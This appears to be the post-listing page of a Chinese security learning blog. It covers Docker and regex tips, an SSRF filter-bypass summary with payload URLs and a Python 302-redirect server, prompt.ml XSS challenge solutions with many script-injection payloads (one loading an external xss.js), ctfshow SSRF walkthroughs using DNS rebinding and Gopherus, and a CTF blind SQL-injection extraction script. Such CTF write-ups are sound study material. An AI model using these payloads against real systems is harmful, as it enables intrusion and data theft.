首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,438 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
892 阅读
4
k8s安装及部分漏洞复现
850 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
27
篇与
web
的结果
2022-05-03
submine正则表达式匹配
打开正则Find中可以直接用常规正则语句进行匹配,不再展开,举例说明,如图:想要将方法名和作用以:连接可以直接使用os.*[a-z].*\n.*\n.*\n.*\n直接匹配内容需要解决的问题是如何进行替换,即replace模块,由于不能在replace处使用正则,submine提供了使用()进行间隔的方式进行匹配,然后在replace中使用$n符进行连接,如图:进行匹配:Find:(os.*[a-z].*)(\n.*)(\n.*)(\n.*)(\n) Replace:$1:$3然后:后的n替换为空即可解决ps:匹配中文:[u4E00-u9FA5]*
2022年05月03日
97 阅读
0 评论
2 点赞
2022-04-18
docker容器常用命令
Ubuntu安装docker阿里镜像源:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun国内镜像源:curl -sSL https://get.daocloud.io/docker | shDocker-compose安装使用安装: sudo curl -L "https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose安装设置环境:docker-compose up -d常用命令查看docker目录:docker ps启动容器:docker run -it 容器名 /bin/bashdocker run -it xxx /bin/bash拉取容器:docker pull 镜像地址docker pull xxxxxxxxxx关闭容器:docker kill 容器Iddocker kill xxxxxxxxxx重启容器:docker restart 容器Iddocker restart xxxxxxxxxx删除容器:docker rm -f 容器Iddocker rm -f xxxxxxxxxx进入容器1:docker exec -it 容器ID /bin/bashdocker exec -it xxxxxxxxxx /bin/bash进入容器2:docker exec -it 容器名 /bin/bash容器文件复制到服务器中:docker cp 容器Id:容器文件目录 服务器存储目录docker cp xxxxxxxxxx:/root/1.txt /root服务器文件复制到容器中:docker cp 服务器文件目录 容器Id:容器存储目录docker cp /root xxxxxxxxxx:/root/1.txt容器映射端口:docker run -d -p 默认端口:映射端口 容器Iddocker run -d -p 11100:8080检查端口映射情况:docker port 容器Iddocker port xxxxxxxxxx查看容器内部运行进程:docker top 容器Iddocker top xxxxxxxxxx导入容器快照:cat 容器快照文件 | docker import - 镜像位置cat docker/ubuntu.tar | docker import - test/ubuntu:v1
2022年04月18日
127 阅读
0 评论
4 点赞
2022-04-16
SSRF绕过总结
定义SSRF(Server-Side Request Forgery:服务端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF 形成的原因大都是由于服务端提供了对外发起请求的功能且没有对目标地址做过滤与限制。SSRF根据是否回显请求内容分为回显型SSRF和非回显型SSRF。造成原因常见情况是由于一些敏感函数导致漏洞,例如curl_exec()、file_get_contents()、fsockopen()、fopen()、readfile()等检验是否存在dnslog回显这是最常见的方式,在url某参数中可看到一些可以写入url的地址,此时请求dnslog回显,则有可能存在ssrf漏洞,但是仍需要请求内网以确认是否真实存在ssrf请求外链内容成功返回直接填入外链地址在当前页面下返回请求的外链内容,和上述一样,仍需要请求内网信息类确认是否存在ssrf内网服务器返回内容直接请求内网并返回信息,成功则证明一定存在ssrf漏洞。有多重请求方式,直接请求、协议读取、外带等等。绕过手段限制请求地址不为内网ip@符号绕过url地址的组成为protocol://[username]:[password]@hostname[:port]/path/[file][?query],因此在不同的环境中存在不同的绕过方式。payload:http://a:@127.0.0.1:80@xxx.com/xxxcurl解析为:username:a password:null hostname[port]:127.0.0.1:80@xxx.comphp的parse_url解析为:( [scheme] => http [host] => xxx.com [user] => a [pass] => @1@127.0.0.1:80 [path] => /xxx )因此可以通过该方式进行绕过域名解析绕过将127.0.0.1解析到某域名下,然后绕过进制绕过对ip直接进行进制转换再请求//ip为127.0.0.1 十六进制:0x7F000001(加0x,否则无法识别) 十进制:2130706433 八进制:0177.0.0.1(加0,否则无法识别)ctf学的特殊绕过//访问127.0.0.1 http://[::]:80/ http://0/ http://127。0。0。1/ http://127.0.1/ http://0.0.0.0/添加端口绕过有些正则的不严格过滤会导致添加端口即可绕过的情况30x跳转绕过仅仅对当前网址进行了校验,并未对跳转后的网址进行校验,因此可以设置跳转后的地址为127.0.0.1,此时跳转后就可以访问方法一:<?php $ip = $_GET['ip']; $port = $_GET['port']; $schema = $_GET['s']; $data = $_GET['data']; header("Location: $schema://$ip:$port/$data"); ?>使用方法:xxx.com/xxx?s=http&127.0.0.1&port=80import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv) - 1 != 2: print(""" Usage: {} <port.number><url> """.format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_reponse(302) self.send_header('Location', sys.argv[2]) self.end_headers() def send_error(self, code, message=None): self.send_reponse(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() 用法:python3 SSRF302.py port 要跳转的地址短网址绕过本质上利用了30x跳转,但是相较于30x跳转,当前大多厂商的短网址都有认证,可信度大于其他域名存储桶回源绕过此处使用腾讯云存储桶,设置存储桶为静态网站,再添加回源地址,此处的回源地址会限制不允许内网地址,可以通过先解析为外网地址,然后保存后子再修改解析地址为内网地址,就可以成功设置为内网地址的回源。使用方法:将可能存在ssrf的位置输入该静态网站地址即可DNS Rebuilding原理:在对URL进行杰斯时,首先要对该URL提取HOST,然后,系统会对该host进行DNS解析,获取到解析的IP;接着会对该IP进行检测,检测该IP是否是合法的,比如是否是私有IP等;最后,如果IP检测为合法的,则进入curl的阶段发包。分析可知,服务端第一次请求dns解析到第二次请求URL之间有一个时间差,如果能通过该时间差,实现第一次请求获取正常ip,第二次请求获取内网ip,那么就能绕过对SSRF的防护。于是问题的核心就到了TTL的位置,需要解决TTL不为零的问题,阿里云默认TTL大于十分钟,此处有多种解决办法:使用国外服务器进行设置一些国外的服务器是允许TTL为0的,自行搜索ceye.io该网站直接有该功能,可以直接使用对统一域名设置两个A记录可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。但是随机性比较强,不是一定能成功的,需要多次尝试自建dns服务器后续更新...利用封闭式字母数字(Enclosed Alphanumerics)字符绕过封闭式字母数字(Enclosed Alphanumerics)字符是一个Unicode块,其中包含圆形,支架或其他非封闭外壳内的字母数字印刷符号,或以句号结尾。封闭的字母数字块包含一个表情符号,封闭的M用作掩码工作的符号。它默认为文本显示,并且定义了两个标准化变体,用于指定表情符号样式或文本表示。这些字符也是可以被浏览器识别的,而开发人员有时会忽略这一点。举例如下:ⓢⓢⓡⓕ.ⓒⓞⓜ->ssrf.com不过我好像没成功...参考链接:[1]https://mp.weixin.qq.com/s?__biz=MzI1NzM0MTMzMg==&mid=2247490902&idx=1&sn=8353c71ef8d69886f28854073544d9d4#[2]http://blog.leanote.com/post/snowming/e2c24cf057a4[3]https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/[4]https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf[5]https://mp.weixin.qq.com/s/545el33HNI0rVi2BGVP5_Q
2022年04月16日
1,125 阅读
0 评论
6 点赞
2022-04-05
promptXSS挑战
自己不会,跟着其他大佬的payload做了一遍,记录下来Less0function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; } 无过滤,直接输出常见payload即可"><img src=1 onerror=prompt(1)> "><svg onload=prompt(1)> "><body onload=prompt(1)> 等Less1function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; } 又正则看出对<>进行了过滤,将内容替换为空,因此对右括号进行绕过即可//或者<!--都行 <img src=1 onerror=prompt(1)// <svg onload=prompt(1)// <img src=# onerror="prompt(1)"Less2function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; } 过滤=和(svg:使用SVG标签,会提前将将XML实体解析再加入标签//(是(的unicode编码 <svg><script>prompt(1)</script> //调用js中的eval函数 <script>eval.call`${'prompt\x281)'}`</script> <svg><script>prompt(1)</script> //能绕过但是不能win <script>eval`${alert`1`}`</script> <script>eval.call`${'alert\x281)'}`</script> <script>alert`1`</script>Less3function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; } 注释->被替换为_,闭合后任意语句即可,右边括号不闭合也能过关//--!>进行闭合 --!><img src=1 onerror=prompt(1) --!><script>prompt(1)</script --!><svg onload=prompt(1) --!><img src=1 onerror=prompt(1)> --!><script>prompt(1)</script> --!><svg onload=prompt(1)>Less4function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } } 同源绕过应该就可以成功了,利用@,由于user不准有/,因此利用decodeURIComponent的解码,对/进行编码,js文件内的内容是:prompt(1),即可攻击成功Less5function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; } 使用替换,将>替换为_,将on和=外加他们之间的内容的替换为_,将foucs替换为_,(/gi)忽略大小写"src=# type=image onerror ="prompt(1)使用"闭合value,然后用type=image更改输出类型,利用换行键防止被on和=中内容替换,属性描述不在同一行并不影响解析,但是可以避免正则匹配,然后就可以弹出Less6function escape(input) { // let's do a post redirection try { // pass in formURL#formDataJSON // e.g. http://httpbin.org/post#{"name":"Matt"} var segments = input.split('#'); var formURL = segments[0]; var formData = JSON.parse(segments[1]); var form = document.createElement('form'); form.action = formURL; form.method = 'post'; for (var i in formData) { var input = form.appendChild(document.createElement('input')); input.name = i; input.setAttribute('value', formData[i]); } return form.outerHTML + ' \n\ <script> \n\ // forbid javascript: or vbscript: and data: stuff \n\ if (!/script:|data:/i.test(document.forms[0].action)) \n\ document.forms[0].submit(); \n\ else \n\ document.write("Action forbidden.") \n\ </script> \n\ '; } catch (e) { return 'Invalid form data.'; } } 需要用post形式提交一个表单,输入一个url#{post}的内容,然后过滤了script和data,利用js伪协议,尝试输入javascript:prompt#{"ttttest":1}失败,看大佬博客才知道:可以利用action进行覆盖。action有一个特性:如果前后都有action,访问action标签时访问的是后面的action的值,于是payload:javascript:prompt(1)#{"action":1}Less7function escape(input) { // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title) { // title can only contain 12 characters return '<p class="comment" title="' + title.slice(0, 12) + '"></p>'; }).join('\n'); } 此处限制长度,只允许12位以下的字符串输入,此处可以利用#可以分割两边为数组的特性绕过,再配合注释"><script>/*#*/prompt(/*#*/1)/*#*/</script> 大佬版:"><svg/a=#"onload='/*#*/prompt(1)'Less8function escape(input) { // prevent input from getting out of comment // strip off line-breaks and stuff input = input.replace(/[\r\n</"]/g, ''); return ' \n\ <script> \n\ // console.log("' + input + '"); \n\ </script> '; } 利用unicode的行分隔符和段落分隔符进行绕过'\u2028prompt(1)\u2028-->' //放到conlose中,复制输出的内容 Less9function escape(input) { // filter potential start-tags input = input.replace(/<([a-zA-Z])/g, '<_$1'); // use all-caps for heading input = input.toUpperCase(); // sample input: you shall not pass! => YOU SHALL NOT PASS! return '<h1>' + input + '</h1>'; } 将<+字母替换为<_+字母,并且toUpperCase()都转为大写,没啥思路,大佬说ſ 转换为S,这里的ſ字符应该是某个国家的unicode字符,转换后恰好对应s,然后就写payload:<ſcript>prompt(1)</ſcript>,但是没有成功,因为js对大小写敏感(导致prompt(1)无法使用),再查,需要导入js来触发,payload:<ſcript ſrc="https://hammerking.top/xss.js"></ſcript>但是服务器的我没有打通,用本地打通了...LessAfunction escape(input) { // (╯°□°)╯︵ ┻━┻ input = encodeURIComponent(input).replace(/prompt/g, 'alert'); // ┬──┬ ノ( ゜-゜ノ) chill out bro input = input.replace(/'/g, ''); // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO return '<script>' + input + '</script> '; } 将prompt替换为alert,将'替换为空,那么有没有一种可能,用单引号绕过,尝试promp't(1)LessBfunction escape(input) { // name should not contain special characters var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, ''); // data to be parsed as JSON var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}'; // directly "parse" data in script context return ' \n\ <script> \n\ var data = ' + dataString + '; \n\ if (data.action === "login") \n\ document.write(data.message) \n\ </script> '; } 过滤了很多字符,可以利用js的特性进行绕过,使用in或者instanceof运算符进行绕过,左右"是为了闭合大佬解释:在js中,(prompt(1))instaneof"1"和(prompt(1))in"1"是可以成功弹窗的,其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。"(prompt(1))in" "(prompt(1))instanceof"LessCfunction escape(input) { // in Soviet Russia... input = encodeURIComponent(input).replace(/'/g, ''); // table flips you! input = input.replace(/prompt/g, 'alert'); // ノ┬─┬ノ ︵ ( \o°o)\ return '<script>' + input + '</script> '; } 和前面A关相反,先替换'再替换prompt,这里就没办法使用上面的绕过方式了,可以使用进制转换,再用toString转换回来的方式进行绕过,这里使用parseInt()转换时,因为最大字母为t,所以至少使用30进制(参考十六进制的生成)//先用parseInt("prompt",30)在console中运行,得到的结果在().toString(30)中转换回来 eval((630038579).toString(30))(1)LessDfunction escape(input) { // extend method from Underscore library // _.extend(destination, *sources) function extend(obj) { var source, prop; for (var i = 1, length = arguments.length; i < length; i++) { source = arguments[i]; for (prop in source) { obj[prop] = source[prop]; } } return obj; } // a simple picture plugin try { // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"} var data = JSON.parse(input); var config = extend({ // default image source source: 'http://placehold.it/350x150' }, JSON.parse(input)); // forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; } // purify the source by stripping off " var source = config.source.replace(/"/g, ''); // insert the content using mustache-ish template return '<img src="{{source}}">'.replace('{{source}}', source); } catch (e) { return 'Invalid image data.'; } } js没学好,看不懂...payload先写下来,后面学到了回来解决proto:每个对象都会在内部初始化这个属性,当访问对象的某个属性时,如果不存在这个属性,便会去proto里寻找这个属性。可以初步构造payload:{"source":"0"," proto":{"source":"onerror=prompt(1)"}},但是并不能绕过题目的过滤,于是便要利用replace的一个特性{"source":"'"," proto": {"source":"$`onerror=prompt(1)>"}}LessEfunction escape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes all file names in all-caps :( // too lazy to convert them back in lower case // sample input: prompt.jpg => PROMPT.JPG input = input.toUpperCase(); // only allows images loaded from own host or data URI scheme input = input.replace(/\/\/|\w+:/g, 'data:'); // miscellaneous filtering input = input.replace(/[\\&+%\s]|vbs/gi, '_'); return '<img src="' + input + '">'; } 先全部换为大写,然后替换//+字母为data,再替换一些特殊字符为_,然后...⑧会,记下payload,学会再来"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=LessFfunction escape(input) { // sort of spoiler of level 7 input = input.replace(/\*/g, ''); // pass in something like dog#cat#bird#mouse... var segments = input.split('#'); return segments.map(function(title, index) { // title can only contain 15 characters return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>'; }).join('\n'); } 不允许*出现,限定长度小于16,#会另起一行重置字数限制,和之前的#和换行符绕过差不多,但是还是有点不理解payload"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>参考链接:[1]https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml[2]https://www.cnblogs.com/slpawn/p/7487161.html[3]https://lorexxar.cn/2015/07/02/xss-p/#level13[4]https://xz.aliyun.com/t/4507#toc-16
2022年04月05日
74 阅读
0 评论
2 点赞
2021-05-10
ctfshow中ssrf部分351-360
web351直接使用file伪协议读取即可,payload:url=http://127.0.0.1/flag.phpweb352过滤了localhost和127.0.0.1,可以尝试多种方式进行绕过,我用的是http://127.0.1/flag.php,还有其他比如:url=http://0x7F.0.0.1/flag.php 16进制 url=http://0177.0.0.1/flag.php 8进制 url=http://0.0.0.0/flag.php url=http://0/flag.php url=http://127.127.127.127/flag.php web353对127.0.0.1有了更多的要求,不允许出现127.0.的内容,使用上面的绕过方式就可以绕过,payload:url=http://0/flag.phpweb354不允许出现0和1,这里当时没有思路了,看到yu师傅尝试了两种方法,第一种是利用不常用的字符进行绕过,但是最后没有成功,第二种方法是修改域名解析A记录为127.0.0.1,然后payload:url=http://xxxxx/flag.php,这里的xxxxx是用的域名web355对长度做了限制,直接使用http://127.1/flag.php进行绕过web356依旧是长度,这次是3,使用http://0/flag.php可以绕过web357这里是DNS重绑定漏洞,具体可看下链接,实际操作就是,先去http://ceye.io/里注册一个账号,然后,他会给一个你自己的域名,然后在下面的DNS Rebinding中设置两个ip,第一个随便设置,第二个要设置成127.0.0.1,然后就是先在自己的服务器上设置一个111.php内容为:<?php $headers = ("Location:http://127.0.0.1/flag.php");?>然后在题目页访问111.php,然后访问第一个注册账号的域名的/flag.php,多次尝试拿到flag。web358emm,要求访问的站必须是http://ctf.开头,show结尾,确实不知道怎么过,看了雪晴师傅的博客,给推了一篇文章,payload:url=http://ctf.@127.1/flag.php?showweb359打无密码的mysql,使用Gopherus,构造语句,直接替换check.php中的url,注意_后面的东西要再一次进行url编码,然后传文件后当时想尝试蚁剑链接,但是链接不上,于是尝试命令执行,拿到flag。web360和web359一样,但是这次是直接打redis,并且上传的文件是shell.php,同样拿到shell想尝试蚁剑,但是不行,只能命令执行。
2021年05月10日
324 阅读
0 评论
24 点赞
2021-05-10
红帽杯2021 部分wp
签到根据附件文件名是EBCDIC知道编码,然后直接转码拿flag。find_it拿到题目,没啥思路,看到robots里提示去1ndexx.php,访问没东西,查备份查到/.1ndexx.php.swp有源码,查看源码,可以传入code的值写入hack.php中,并且对长度和一些字符进行了过滤,然后尝试访问phpinfo(),这里一直很懵,一开始是以为是从1ndexx.php中传入code参数,不断尝试发现不是,最后在主页里尝试成功了,就离谱,然后直接查看phpinfo(),因为这里是直接把flag写进全局变量了,所以直接搜flag就拿到flag了。WebsiteManger看目录的时候发现user.php放行至index.php的时候有image.php并且有参数id,因此猜测id为注入点,测试发现过滤字符较多直接抓包测试就行,177是被过滤的,然后进行测试?id=if(1=1,1,0) ?id=if(1=2,1,0)正确的时候出现图片,错误的时候不出现,于是写脚本获取信息,库:ctf,表:images,users,列:username,password,字段:admin,2e0b406a0c24f74a999a8,获取密码的脚本import requests allstring = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~' s = requests.session() url = 'http://eci-2zecrfutex8wyzi4y8mg.cloudeci1.ichunqiu.com/image.php' table = '' for i in range(1, 45): print(i) for j in allstring: payload = "if(ascii(substr((select/**/group_concat(password)/**/from/**/ctf.users),{},1))%3E{},0,1)" .format(i, ord(j)) ra = s.get(url=url + '?id=1 or ' + payload).text if 'JFJF' in ra: table += chr(j) print(table) break然后登陆,当时倒着就做不出来了,到最后也没出,不过当时没想过用filt:// /flag读取flag,看到大佬的flag知道,这里的curl.php存在ssrf,然后尝试使用filt读取文件,当时的姿势不对,想复杂了依旧是做出的贡献不大,下次继续加油...
2021年05月10日
261 阅读
0 评论
2 点赞
1
2
3
...
5